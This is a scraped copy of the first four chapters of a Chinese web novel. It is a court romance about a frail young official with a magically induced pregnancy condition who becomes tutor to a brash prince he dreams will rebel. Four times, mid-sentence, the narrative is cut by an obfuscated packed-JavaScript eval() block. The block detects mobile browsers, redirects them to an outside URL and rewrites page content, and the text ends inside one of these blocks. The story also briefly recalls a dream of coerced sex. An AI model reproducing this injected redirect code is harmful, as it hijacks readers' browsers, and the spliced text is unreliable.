《美貌权臣揣错崽了》 1. 第 1 章 建宁十年,冬月。 长安城,吏部侍郎谢府。 昨儿下了一场大雪,寒酥一整晚未曾停下,眼下四方的院子里积着厚厚一层白绒。这时候从外院的拱门过来一双背影,一个身着墨袍一个身着襦裙,两人鬼鬼祟祟,一边走一边东张西望,俨然一副做缺德事的样子。 “好像没人。” 待那两人走到了连廊下,抖了抖身上的积雪,两两相视一眼,随即点了点头,一副要赴汤蹈火的样子:“儿啊——” “噗通”一声,方才还紧闭的门被外力冲开,一石激起千层浪,这么大的动静,自然是吸引到了房间里的人。 谢家六位郎君除了在南边任职的谢二郎外,其他五个全在房间里守着,见有动静,众人纷纷朝着门口的两人看去。 谢少淮方才醒来,吃了一副药身子还没利索,见父亲母亲摔倒在地,担忧道:“爹,娘,你们怎么来了?” 地上的两位,显然没意料到房间里有这么多人,相互搀扶着赶紧从地上起来。谢父扶着自己的夫人,又看看面前的儿子们,哀叹一声将他们今日来此的目的说了出来:“儿啊,爹娘想了想你的事情,整宿整宿的睡不着,想来想去觉得还是你的身子要紧,不行的话,我们还是招个赘婿养在家里吧?” 谢少淮:“……” 谢少淮本人还没说点什么,在一旁端着药碗的谢五郎闻言气不打一处来,看着越活越回去的二老,道:“爹娘,城内夜市招伙计,你们睡不着就找个营生做——没事儿别瞎出什么主意,你们还嫌六郎被你们害的还不够惨吗?” 谢五郎素日里和六弟谢少淮最亲近,说话也没轻没重,谢夫人闻言脸上充满了内疚,含着眼泪扑到谢少淮身侧:“儿啊,都是为娘的错!” 一旁站着的谢父,见夫人涕泣涟涟,连忙上去扶着人,又心疼又难受看着榻上还没好利索的谢少淮,有些心虚道:“儿啊,你娘他只是犯了一个所有男人都会犯的错,罪不至此啊——她是是盼女心切!” 谢少淮:“……” 事情是这样的—— 大周朝建国初期朝廷不富裕,百姓人家养不起那么多人口,女儿家身材娇小的多,不适合做一些体力劳动,因此重男轻女的思想自此根深蒂固,更有不少生下女婴就抛弃街头的惨状。而随着朝廷逐年富裕,百姓丰衣足食,这种思想渐渐落后,更多人家还是开始想要儿女双全。 谢少淮就出生在这个时候,谢母当年连生五个儿子,却无一女,自然盼望一个女儿,到怀谢少淮的时候,她便在民间找了生女的偏方服用,结果最后还是生下了一个男婴。 这个男孩儿就是谢少淮。 谢少淮小时就是身体虚弱一些,除外和正常男孩子一个样,本来这件事就这么过去了,直到三日前,谢少淮下朝后突然小腹疼痛,直到痛到晕厥,再醒来的时候,宫里太医已经为他诊出了病症,从他的脉象看,因为谢母怀孕时乱用偏方,导致他身体有异,如身中情毒,每月发作一次,只有生下孩子才能解决。 谢母知道原因之后自己痛哭了一场,谢父知道后也告假在府,他们夫妻两人又抱头痛哭了一场,后琢磨了三天两宿,最后还是决定孩子的身体要紧。 若是生个孩子就能解决问题,他们就为六郎找个好赘婿养在家里,到时候生了孩子解了毒,他们六郎的仕途也不耽误。 太医给谢少淮开了七日的阵痛散,可缓解情毒带来的副作用,朝廷又特许他休沐养病,因此谢少淮并没有因此耽误什么。 谢母出身显贵和父亲是少年夫妻走到现在,两人感情甚好,家里也只有一个名义上的妾室,谢少淮也不想他们因为自己伤了感情,便安慰母亲道:“孩儿无事——” 榻上的青年不过刚过弱冠,身子又自小体弱,瘦骨伶仃瞧着实在让人心疼。不过见母亲难受,谢家本来过来照顾谢少淮的几个哥哥也不好再说什么,也跟着劝了几句:“娘,事已至此,你还是听听六郎的意思吧?哭也解决不了问题。” 谢父此来也是这样想的,毕竟事情已经出了,无法改变,还是多听听孩子的意思,“是啊夫人,莫要难过了,还是听听六郎的意思。” 谢母自小就疼的就是自己的六郎,现在又因为自己的私心,导致孩子要受那么大的罪,她如何能不生气,听了儿子们的话,谢母哭的更厉害了,“都是为娘对不住六郎。” 谢少淮劝不住母亲,只好顺着她的背,等母亲发泄的差不多了,他才安慰了几句:“娘,少淮如今也到了娶妻的年纪,我大周朝民风开放,民间结为契兄弟的也不在少数,不过就是和男人成婚生个孩子,那有什么好难过的?” 谢少淮几乎遗传了母亲所有优点,生的肤若凝脂,样貌俊美,尤其一双浅金色似琉璃一般的眸子,更让他多了几分矜贵气质,这样的容貌,谢少淮自小就受男孩子喜爱,小时候追在他身边的男孩子,谢母经常是赶都赶不完。 谢母闻言,抹了把眼泪,看着自己的小儿子,又问了一句:“那我儿可有喜欢的男子?若是有,就算是皇亲贵胄,娘也要为你求进府里。” 谢少淮:“……” 谢家六个儿子,只有大郎二郎成了婚,其他几个要么就是公务繁忙,要么就是心不在此,谢母思想没有那么保守,儿子们看上喜欢的姑娘,若是对方愿意,他们也不看家世,只要孩子满意就好。 谢父闻言,也顺着谢母的意思,问了一句:“是啊,淮儿可有心悦之人,若是男子,爹娘这就去求亲,若是女儿……咱们就招个赘婿先养在家里。” 谢少淮:“……” 谢少淮确实心不在此,不过这件事确实耽误不得。前些日子他刚从辽东地带出巡回来,明年朝廷交给他的选官制度改革就在在长安小部分地区实验,若不想耽误工作,还是趁早将事情解决了。 “孩儿……”谢少淮思忖少顷,想说一人,但还没来得及说完,他犹豫了,先看了看身边的小厮,问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115957|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句:“现在什么时辰了?” 小厮愣了少顷,连看了看外头的日晷,跑回来对谢少淮道:“公子,现在正是午时三刻,一刻也不多。” 闻言,谢少淮方才还平展的眉心倏地皱了起来。 时间刚刚好。 果不其然,就在这时候,门外突然传来了声音:“圣上有旨——” 谢父身居太尉一职,平日里公务繁忙,这几日的休假还是因为谢少淮生了病才请下来的,听闻圣旨到了,谢父急忙整理好自己的衣服,心道陛下就是陛下,就连他在六郎府上都知道。 谢父带着儿子们就要出门迎接,这时候奉命过来宣旨的太监从门外走了进来,刚好谢父走到了门前,两队人打了个照面,呈着圣旨的太监见人便寒暄了句:“太尉大人。” 谢少淮彼时也掀开了身上的被褥,随父母兄长一起跪下领旨。 谢父:“可是陛下和丞相找老臣商议琢州一带的乱民起义?” 说着,谢父也掀开袍子跪了下去,正经了起来:“臣——” 岂料那公公见状尴尬一笑,绕过了谢父,走到了最里侧,最后站在了谢少淮跟前:“吏部侍郎谢少淮接旨——” 谢父:“。” “奉天承运皇帝,诏曰:吏部侍郎谢少淮,巡游辽东,招抚能臣,解朕之忧,然其仍有心事难除,梁王朕之手足,幼年丧母,长于边境,一朝回朝,礼学尔尔尚不得习,此,朕得丞相力荐,任卿为之师保……钦此。” 圣旨宣读完毕,整个房间立马安静了下来,只有谢父和和宣旨的公公大眼瞪小眼,最后那公公实在觉得尴尬,朝着谢父眯了眯眼:“太尉大人,令郎的才学是圣上赞许过的,如今更是要去梁王殿下府上任职,前途不可估量啊。” 谢父:“。” 谢母:“。” 谢家五个兄弟:“。” 谢少淮紧蹙的眉心随着这道圣旨宣读完毕也逐渐平展,他起身领旨,对宣旨了公公道了谢:“劳烦刘公公走一趟,寒舍冷清,改日谢某在城中设宴,还望公公赏脸。” “六公子客气了,”刘公公是谢府的老熟人了,和谢家几个公子熟稔的很,只是这谢家六郎性子冷淡了些,好几次在宫里他找人说话,都有点插不上话,说话间他抬眸看了谢六郎一眼,果真是天资不凡,这哪里是他们这些阉人能惦记的:“奴才宣完旨,还要去梁王殿下哪里一趟,就不打扰公子休息了——傅相特许公子多休息几日,公子等过了十五再去梁王府上就是。” 这么一件天大的好事,谢母破涕为笑,连连和谢父一起送宣旨的公公离开:“刘公公慢些——” 房间内,谢家几个兄弟都随着父亲母亲送人,谢少淮一人拿着方才的圣旨在房间歇下。冬日的白天,光线倒是很足,透过窗景,青年一袭素衣罩身,青丝垂在伶仃的肩侧,一双琉璃眸子泛着淡淡的愁色。 谢少淮疑虑万分,难以接受,他竟然真是话本里的一个炮灰角色? 2. 第 2 章 谢少淮少年入仕,到今年弱冠,一晃八年光阴过去。早年间他做过县令,进过翰林,最后在吏部稳定下来。去年年底任职辽东巡抚为朝廷挑选官员,在那个时候,因为劳累过度生了一场病。 那是三个月前他在辽东的时候。 辽东地带严寒,一年不过两季度,谢少淮在汉中的长安城长大,甫一到了便生了一场风寒,一连半月高烧不退,噩梦频频。 那梦奇怪的很,说他所在的大周朝乃是一本话本,话本讲述当朝宰相和天子的权斗故事。梦里说在天子和丞相政斗如火如荼之时,大周边境的琢州地带发生一场农民起义,他就是在这个时候出场的炮灰角色,作用就是被无力还击的朝廷当做“礼物”送给那反贼头目做男妻……由此缓解了两军的战火,朝廷得以苟延残喘,最终天子和丞相沆瀣一气,和他里应外合击溃那反贼,自此故事结束。 那梦境断断续续持续多日,虽然当时清晰,但过了这么久再细细回想,竟只有某瞬能回忆起来些碎片。 他只记得,反贼头子是个王爷,娶他回去之后夜夜折辱,后又发现他的身子与旁人不同,更是变本加厉,竟在门客走动活跃之时,隔着一扇屏风白日宣淫,一声声在他耳侧呢喃:“爱妃的身子,真让小王食髓知味。”不仅如此,他最后竟然还怀上孩子,在对方谋反失败后被其连累,锒铛入狱—— 谢少淮倚在窗前的小塌上阖眸回忆,想起这些,衣袖下的五指倏然握紧——如今他的身体真的出现异样,验证了梦境里他身体特殊的情况。 那是不是接下来的剧情会与他的梦境一一呼应? 这时候,方才去送宣旨公公的谢父谢母和谢少淮的几个哥哥推门进来:“娘,六郎从小就体弱多病,虽是好机会,但是他的身子怎么受得住那纨绔折腾……哎哎爹你拧我耳朵作甚?疼疼疼……” “隔墙有耳,隔墙有耳懂不懂!?”谢父闻言,捏着谢五郎的耳朵关上了房门:“那再怎么说也是我大周朝唯一的亲王,是当今圣上唯一的手足,你敢非议王爷,是要我谢家一家给你陪葬啊?” 父母兄长进来,谢少淮只得清了清思绪,见父亲拧着五哥的耳朵,谢少淮连上前拦着:“爹,五哥?” 谢父谢母今日前来,本来就是为了解决谢少淮身体的事儿,谁知半路杀出来个程咬金,本来他们都以为陛下看重,任六郎为梁王师保是升迁的好事儿,可是经方才五郎一说梁王的秉性,谢父谢母心里也拿不准主意了。 “倒也不是什么大事,”谢少淮从小就让他们省心,这件事他们可以直接了当询问他的意见。 谢父吁了口气,走到谢少淮身边,“六郎怕还不知道,梁王殿下自小在琢州长大,又是卫将军亲自照料,天潢贵胄出身,性子多少不服管教,你身子现在还没好全,就是好全了,找合适的赘婿成婚也要一段日子,你五哥怕你现在的情况应付不来。” 谢母方才也没意识到这个问题,听五郎和自己夫君这么一说,眼眶里方才消下去的眼泪又冒了出来:“这可如何是好啊?我儿身子还没好,若是累出来个好歹,为娘……为娘这就去找你舅舅,就是被贬官,也不让我儿受这种罪。” 谢少淮:“……” 见母亲就要出门,谢少淮上前拦下母亲,安抚道:“母亲,是舅舅向陛下举荐,孩儿才能有这样的机会,且圣旨都下了,娘这不是让舅舅难做吗?” “那也比没命的好!”一边站着的谢五郎揉了揉自己被亲爹捏的通红的耳朵,道:“六郎你怕是不知道那梁王有多混账……” 说着,谢五郎躲在母亲身后,又道:“先前陛下已经给他找过礼部公孙大人,不过半月的时间,公孙大人气的险些一命呜呼,你这身板去了梁王府,怕不是迟早被玩儿坏。” 谢少淮:“……” 谢父也不想违抗皇命,不过五郎说的没错,眼下六郎确实不太适合去任这个职:“无碍,爹在陛下面前还是有说话的分量在的,老夫——” “爹,孩儿无事,”谢少淮将手上的圣旨放好,搀扶着母亲,“爹也说了,殿下他少年心性,孩儿与他相差不多,兴许兴趣相投,就算到时候做不来,爹再去找陛下提此事,也说的过去不是?” 方才父亲一番话点醒了谢少淮,天子仅有梁王一个弟弟,那他梦里谋反的王爷,大概率就是梁王了。 一点碎片记忆不足以谢少淮回想起话本的全部剧情,但若梁王真是那反贼,自己成了他的师保,与他朝夕相处,自然能看出一些端倪。 “也好……”谢父点了点头,“但是我儿的身子也耽误不得,这几日爹爹就做主给你找几个模样说的过去的赘婿,你若看上了,花钱买进府来,这样也不耽误你治病。” 谢少淮:“……” “嗯……” 商议完这些事,谢少淮和父母兄长吃了顿饭,到了午后他身子好些了,便让兄长和父母回去了。谢少淮十六岁就自己出门自己住,宅子不大,但是比官舍好上太多,进宫又方便,这些年自己住也习惯了。 家里除了几个做饭的嬷嬷,常陪在谢少淮身边的就只有小厮青松了,送走人谢少淮整个下午都在房间里静思,但始终想不起关于自己梦境的一二来。 眼下刚过了年,几日后就是上元节,过了上元节他再去梁王府上任职就可,那这些日子,他倒是有时间好好了解一下这位“梁王殿下”,想来应该没什么好怕的,他虽不曾为人师表,但见过的纨绔子弟也不在少数。 只是若梁王真是那梦中对自己乃是整个朝廷不轨之人,那他是否能改写自己的命运? 晚上,谢少淮写了一篇文章,论述了古今饱学之士为人师表的心得,表达了自己即将成为梁王师保的激动心情,表示敬意,以此试探对方的态度。 送完文章后的几日,谢少淮还在府里养身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115958|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这期间他并没有收到来自梁王府的一纸一书,倒是五哥又来了几趟,和谢少淮说了一些梁王府的事情。 过了中元节后,长安城落了小半月的大雪停下,谢少淮身上的情毒也被压制的差不多了。吃了早饭,用了一剂药,谢少淮换上官服,先去长乐宫上了朝,后乘着马车往梁王府的方向去。 约莫走了半个时辰,小厮青松将马车停在了梁王府前,结果马车刚刚停下,就见从王府内出来一群身着艳丽锦袍的少年们。几人举止浪荡勾肩搭背,从王府的大门出来。 这时候一个身着束手玄袍的少年出门,注意到了谢少淮的马车,“谁的马车?” 那少年身边的几人纨绔闻言,朝着少年看去的方向投去目光。谢少淮在长安任职多年,自入仕之后马车从未换过,且谢家神童的名号在整个长安几乎无人不知,遂有人立马就认了出来:“呦,这不是我娘口中那位“谢家神童”家的轿子吗?” 长安城内显贵遍地,比谢少淮家境好的人比比皆是,光是当今太后周氏一族的子弟就有几百号,其中被封了侯的更是数不胜数,一个区区四品的吏部侍郎,在他们面前不足挂齿。 吏部侍郎的官职不足以让人嫉妒,但“少年神童”的名号却足让他们这群“纨绔”恨得牙痒痒的东西。 这个名号,让他们小时候以至于现在,听爹妈念叨的最多的就是:“你能不能和人家谢六郎比比,都是吃五谷长大的孩子,怎么人家谢六就十二三就能得圣上青睐?你们就连先生教的书都念不全?家门不幸!家门不幸啊!” 少年闻言,微微挑了挑眉梢,唇角似笑非笑地勾了一下:“小王当是谁呢,原来是师保来了。” “殿下怕是不知道,谢六郎的名声大的很呢!陛下这是特意为殿下找了个好老师啊,”曾经和谢少淮一起在国子监读书而被比较的不值一文的某个中二少年:“有了这位谢郎君,殿下的礼仪定能大有长进,下次再去上香,殿下就不会认错菩萨,跪求子观音了哈哈哈哈——” 萧承野:“……” 半月前萧承野和太后去长安城外的淮山寺上香,跪错了送子观音,求平安成了求孩子。萧承野吃酒之时和他们几个说了一句,被他们几个狗杂种笑了半个月。 “想管小王的人还没出生呢,”少年有些不爽,松开了身边的少年,一脚把人踹下了台阶:“狗杂碎敢笑话小王?” 被踹下去的少年滚了一圈儿又麻溜跑到少年脚下,贱兮兮的贴着少年,看着轿子上还没下来的人,咬牙切齿心道这下终于有人收拾这个谢六了:“殿下的性子真得收收,以后谢六郎要是惹殿下不快,殿下可使不得这么踹,若是踹坏了怕不好向太尉交代。” 萧承野自然知道身边的狗杂碎在激他,管他谢少淮是谁,惹到他琢州小霸王,只有挨揍的份儿。 少年看着面前破布轿子,不屑道:“师保大人,滚下来吧。” 3. 第 3 章 谢少淮虽然官阶不高,但谢家家主可是当朝太尉,谢家几个郎君也都身兼要职,更别提谢母更是当朝丞相府的亲姐姐,若是往常,他们这几个在家人口中不学无术的纨绔,定然是不敢轻易招惹谢六郎的—— 可是这里是梁王府的地盘,先开口骂人的也是梁王,他们作为梁王府上的客人,随着主人痛快骂几句,想来回家也挨不了批评。 梁王说完,立马就有人起哄:“滚出来!” 前面少年趾高气昂地朝着那破布轿子道了两句,随后他身边的少年也直起了腰杆,用鼻孔看着面前一动不动的轿子,骂骂咧咧道:“谢六,你,你听见了吗?殿下要你滚下来,还,还不快下来?!” 谢少淮的小厮青松没有得到公子的口令,自然也没有反驳,他手里握着缰绳,看着梁王府外几个张扬跋扈的少年,一时也不知道该怎么办了:“公子,他们这般无理取闹,您还要下去吗?” 谢少淮自小和这群人打交道,五哥更是和他说过梁王回长安后种种顽劣的事迹,十六七岁的少年人,又是皇亲贵胄,母家更是守卫边防线有大功劳的大将军,这么跋扈的性子倒也合理。 没必要因为一时的面子,闹出笑话,到时候都下不来台。 轿子里的青年情绪并未因为外头那几个少年叫嚣影响,他垂睫,琉璃色的眸子从自己手里的书上移开,淡淡对轿撵外的青松回道:“本官今日是来王爷府上任职的,怎有殿下盛情邀请还不回应的事,你先将准备的礼物奉上,就说本官身子还没好全,见不得人多,从后门就去就好。” 青松闻言点了点头,想来还是公子体面。梁王不懂事,许是被周家那几个纨绔激的才这么没规矩,若是他们公子从正门下去了,说不定梁王好面子不由做什么出格的事儿。 青松拿着公子一早让准备好的茶叶和糕点下了车,走到那几个少年面前,规规矩矩朝着中央的少年行了礼:“殿下,我家公子前些日子生了病,不宜吹风,还请王爷通融,让轿子从后门入府。” “不行!”那几个公子爷见惯了谢六的做派,之前他们挑衅,谢六就是这样冷处理,不与他们正面交锋,最后这件事传回家里,谢六不仅没有受一点影响,反而还被他们爹娘赞许:“人家六郎宰相肚里能撑船,不和你们计较,他还真以为自己能上天了?” 今日梁王在,他们哪里能让谢六就这么逃过去,不然今日回家又少不了一顿臭骂! “殿下,你可别被这个谢六忽悠了,”那少年道:“这家伙假清高,看着是服了软,实际上回家就把这件事捅出去,今日让他逃过去了,明日整个长安城就都会传您在府上刁难他,他清风亮节不和您计较才了事!” “好名声都让他一人独占!” “对对对,我们几个没少被他忽悠,今天他谢六必须下来给殿下您三叩九拜才能进去,不然就……就就找人把他从车上拖下来!” 萧承野自来了长安,宫里宫外,听了不少对谢六郎的赞许。不过这人倒是真让他意外,怎么说也是世家之后,又是文臣,都让他滚下来了,还能忍得住? “好啊,”少年冷冷勾了勾唇,鸦羽微垂,示意身边方才起主意把人拖下来的少年道:“你,去把小王的师保请下来。” 少年特意咬重了“请”字,什么意思自然不必明说,只是那方才口嗨的少年傻了眼,“我,我我我我不行啊殿下……” 这可是丞相的亲外甥,太尉的幺儿,他就是随便说说!真动手还是得梁王动手啊! 少年话都没说完,就被身边的萧承野一脚踹下去,滚了一遭刚好滚到王府门前的轿子前,上前他是怕的,但是回头一看,小梁王抱臂看着他,那表情好像再说哦,把人弄不下来,他以后就别安生了! 少年只好怯懦地喊了声:“谢,谢六你你你乃是陛下为梁王殿下钦点的师保,殿下让你下来,岂岂有不下来的理?!” 你快下来吧义父! 青松也没想到这个小梁王这么顽劣,公子身子确实好没好利索,怎么能经得住他们这几个纨绔折腾,正在青松准备上前制止的时候,身后便传来了他们公子的声音。 “殿下。” 轿撵内传来一道清脆的青年音,那声儿跟玉珠撞在一起发出的响儿似得好听,熟悉谢少淮声音的人都听得出来,这就是谢家六郎。 随后青年道:“咳,下官身子却有不适,不便见太多人。” 那趴在谢少淮轿子轱辘边的少年闻言,像是找的了什么救命稻草,眼巴巴地看着石阶上的少年道:“既如此,那那那殿下还是让他从后门进去吧?” 萧承野:“……” 有意思。 这几个狗杂碎知道皇兄把谢家六郎点给他做师保,没少来他府上吹妖风,一个个昨天还打着精神说要把这个谢六给他解决,今日见了人又跟孙子似得,就差尿裤子了。 “是吗?”少年抽了抽嘴角,恣意不屑地走下石阶,到了那破轿子前一脚把那草包揣开,随后两指夹住帘子,冷道:“师父身子不适,那小王自然要好生关心关心——” 少年把话撂下,似有谢少淮若不乖乖听话就晚完蛋的架势。 地上的青松吓的大口气儿都不敢喘,方才那几个怂了了少年,见梁王亲自动手教训谢六,又狗仗人势地自大起来:“谢六郎,你,你最好赶紧下来,不然一会儿被揍了,可不能怪殿下没给你机会。” 谢少淮:“……” 萧承野被几个欺软怕硬的狗杂碎气笑了,压着声音,又对轿子里的青年说了一声仅有他们二人能听见的话:“乖乖下来,小王饶你一次。” 谢少淮:“…………” 萧承野自然不会动谢六,这毕竟是皇兄给他找的师父,最多放在身边呆几日,若是他以后主动找皇兄辞了这个差事,自己也就高抬贵手放他一马。 他话音刚落,准备掀人轿帘的时候,从轿子里伸出一节白皙纤细的指节握住了他夹着的帘子,随后“唰”地一声,轿子被里面的青年掀开—— 长安城刚落了大雪,天还冷的能冻死个人,轿子里的青年穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115959|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白绒绒的狐裘大氅,巴掌大的小脸儿被毛领围着,这人太白了似乎要比衣服还白一些,可是脸颊不知为何泛着红晕,翘的离谱的睫毛下是一双琉璃色的眸子。 这时候青年樱唇轻启,一圈儿雾气在眼前化开:“殿下。” 少年滑了滑喉:“……” 萧承野的手还僵持在半空,青年掀开帘子,两人的视线自然地对视上—— 好独特的眸子。 少年几乎屏住了呼吸。 好大的功夫,萧承野的眼都没能从青年的眼睛前离开,等人唤了他一声,“殿下?” “咳——”一股凉风灌进来,谢少淮不由轻咳了两声,看着面前少年不依不饶的架势,他也有了些不耐烦,用手拢了拢身上的狐裘,又耐着性子和他说了一句:“下官的身子确实没好全,不宜见太多人,还望殿下通融。” 萧承野:“嗯……” 此刻正在王府门前看热闹的少年们有了靠山,腰杆都挺的直直的,一个个趾高气昂,鼻孔朝天,等着这位小王爷为他们一雪前耻! 受了这么多年窝囊气,这长安城终于来了一个更纨绔的,还是陛下的亲弟弟,大周朝唯一一个亲王!这个谢六郎还好巧不巧成了他的师保,以后的日子,谢六郎见了他们都得绕着走! 爽,实在是爽快! 殊不知,他们的梁王殿下已经没了魂儿。饶是见过不少曼妙胡姬的少年,也没眼前脱俗的容貌惊艳了。 缓了好久,萧承野才感觉自己有点失礼。哪里有男人长得比女孩子还好瞧的?而且他说自己病了,说不定真的没骗人,生了病不能见人。 萧承野又看了两眼,便垂下眸子。 罢了他一个七尺男人干嘛和一个生着病的人计较。 “小王……”少年收回了有些麻木的手臂,遂赶紧把青年的帘子放下去,“既然你生病了,小王就不和你计较跪拜之事。” 说罢,少年的手像是被烫了似得,一只手揉着另一只手,转身回去了。 谢少淮“?” “殿下!那小子是不是还不肯下来?”见小梁王被把人弄下来,几个少年以为是要去拿兵器,立马抖机灵从一旁的守卫手里夺来长枪:“殿下给您长枪,是这个谢六不知好歹,打残了他,明天他还得过来求您别计较!” 萧承野:“……” 即便很不想承认,但萧承野也是有原则的,他从来不对美人动手。 谢六郎生的确实不错。 少年走过去,路过那跪在地上的谢府小厮,缓道了声:“去,直接把你们公子送到小王书房就是。” 青松:“。” 一旁拿着刀枪棍棒的少年们:“。” 青松以为自己听错了,愣了一下,立马从地上爬起来,上了马车。 萧承野则有些不爽地上了石阶,看着那几个平日里就爱嚼舌根欺负良民的狗杂碎,一人踹了一脚:“狗东西,谢六郎一看就是真的病了,你们要小王欺负人,打的什么主意?” 众人:“。” 4. 第 4 章 青松架着马车直接从后门进了王府,谢少淮也松了口气,回想了一下方才梁王好像就是看了自己一眼,然后就没再强求他下车了?倒是没有他想象中的那么顽劣。 这个人真的是自己梦里会谋反之人吗? 谢少淮觉得有待商榷。 谢少淮进了门没多时,王府的管事便寻来,带着他们直接将马车行驶府中,直到梁王的书房前,谢少淮带着今日拿过来的书籍,进了门等人,约莫一炷香的时间,方才还在府前教训人的少年便赶了回来。 “大人?”少年一路大刀阔斧的走进书房,不等谢少淮起身行李,少年便走到他的身前,朝着他爽朗笑了一声,又抬眸看了看,遂不知为何又突然垂下眼睛不与他对视:“大人不必在乎那套需礼。” 谢少淮:“……” 不知为何,他竟然觉得眼前的少年对他多了几分敬意。方才明明还桀骜难训地扯着他的轿帘叫嚣,眼下……竟如此知书达理。 谢少淮还是微微拱了拱,“殿下,礼数不能免。” 行完礼,谢少淮又说了一番客套话。他既然是陛下钦点的梁王师保,那以后教习梁王学礼节乃至身为臣子的本分或者地方藩王如何治理当地领土等一系列……他必定倾囊相授,说完了自己的大致教学思路,谢少淮微微顿了顿—— 前几次,他偶然想起一段关于话本的记忆,随后便真的实现了。再加上自己如今的身体状况,和那话本里的描述别无二致,可见并非偶然。如今他又成了梁王的师保,日后朝夕相处,或许真的生出几分别样的情愫——那梁王谋反之后,自己被作为礼物献上,也符合事情发展的规律。 如果这一切都是真的,那在梁王谋反之前,他一定会有异常,何不借此机会试探一二。 思及此,谢少淮说罢一些公话又多问了少年一句:“殿下……” 而此时,少年目不转睛地看着谢少淮,压根没听他说什么。 萧承野自小在舅舅身边长大,在大周边防线,军规大于一切。他长了十七岁除了舅舅的话第二听的就是大周朝严苛的军规,来了长安之后,皇兄给他找过几次师保,一些不切实际的儒生思想,听听得了,但他听谢六郎说的这些,竟然觉得和那几个老顽固不同。 萧承野放才那般羞辱青年,他不仅不生气,还多番软着性子求自己,可见谢郎君是真男子能屈能伸,也没有那种学者架子,亦没有看不起他是个学武的粗人—— 萧承野思忖之间,又抬眸偷偷看了一眼面前的青年。 毛茸茸的狐裘毛领将人巴掌大的小脸儿围了起来,难得的皮料显得那张脸多了几分矜贵像,还有那双眸子,怎么这般稀奇?好似琉璃,又好似西北荒漠上的尘沙…… 当真好瞧。 不对,方才他好像问自己话了? “咳,”少年捧着茶杯饮了一口凉茶,又不好意思问了一句:“大人方才问小王什么?” 谢少淮:“……” 所以方才他说了那么一堆话?小梁王是一点没听见去? “没什么,”谢少淮收了收自己衣袖下的拳,又问了一遍:“下官听闻殿下在卫大将军身边长大,封地又在西北三州,怎么想起来回长安了?” 大周朝历代的规矩,只要是有了封地的亲王,非召不得私下回长安,梁王的生母并非当今太后,所以也不可能是因为天子思念才回来小住。 “哦,”萧承野确实不想回来,“是舅舅让小王回来小住的,太后娘娘年事已高,陛下处理朝政大事分心乏术,我这个做弟弟的自然要替兄长多在太后娘娘身边尽孝。” 萧承野也不知舅舅为何要他回长安,但是一定不是因为他口中的尽孝。回来之后他去过寿康宫几次,太后那老人家根本没多想见自己。但是他回来这件事应当和太后脱不了干系。这番话萧承野自然不会和面前的青年说。 “这样。”谢少淮垂眸,思忖少顷,少年的答案与他猜测的差不多,背后的推手就是卫家:“那殿下还想回琢州吗?” 话本里的剧情,起义军自琢州而反,手握大周朝一半精兵的卫家戍守之地又是琢州,梁王若反,卫家定是他的后盾。 “自然是想。”萧承野一杯凉茶下腹,觉得口没那么干了,和青年聊了两句,也感觉没那么放不开了,回答完问题,他主动又问了一句:“谢大人,你……你想不想和小王交朋友?” 谢少淮:“……” 谢少淮一时觉得自己好像听错了话:“殿下这是什么意思?” “小王不要师保,但是想和大人交个朋友,”萧承野正经道:“自来了长安之后,小王就没有几个能说知心话的朋友,今日与大人交谈一番,甚是喜欢,若是大人不介意,日后空了便可来小王府上玩儿。” 谢少淮:“……” “殿下的意思是?不想让下官做殿下的师父……下官可以问问殿下为何?” “不为何,”少年简单一笑,吐露真言:“儒家学派,小王不喜欢,小王虽在军营里长大,该学的东西一样不差,上至大夏,下置先祖,兵礼之术,小王滚瓜烂熟,即学派相悖,不得贯通,小王便选自己要走的路。” 谢少淮:“……” 他以为是什么理由,没想到只是一个有自己想法的少年人。谁都曾有少年时期,谢少淮甫一开始学东西的时候,也是对自己兴趣之外的东西十分排斥,道家法家墨家以至于然他嗤之以鼻的阴阳派学术,他都学了个遍。 他可没有选择的余地。 少年这一番话,倒是点醒了谢少淮,先前兼梁王师保的是儒家学派的老泰斗,谢少淮有幸和公孙先生交流过学术,了解他的性子,那他被梁王气的吐血一事,倒是不全算梁王的错。 谢少淮怅然一笑,“殿下既然不想学,那下官便教殿下别的东西,琴棋书画——或是殿下感兴趣的兵家学术。” 少年闻言,微微挑了挑眉梢:“那大人愿意做小王的朋友?” 谢少淮:“……” “自然。” 眼下还看不出眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 